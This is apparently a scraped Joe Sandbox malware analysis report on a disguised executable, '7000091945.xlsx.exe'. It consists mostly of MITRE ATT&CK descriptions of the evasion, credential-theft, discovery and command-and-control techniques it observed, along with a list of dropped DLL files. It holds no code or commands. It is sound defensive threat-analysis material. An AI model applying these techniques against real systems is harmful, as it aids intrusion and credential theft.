Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7000091945.xlsx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-datetime-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-debug-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l2-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-handle-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-heap-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-interlocked-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-libraryloader-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-localization-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-memory-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-namedpipe-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processenvironment-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processthreads-l1-1-0.dll

Windows Analysis Report
7000091945.xlsx.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre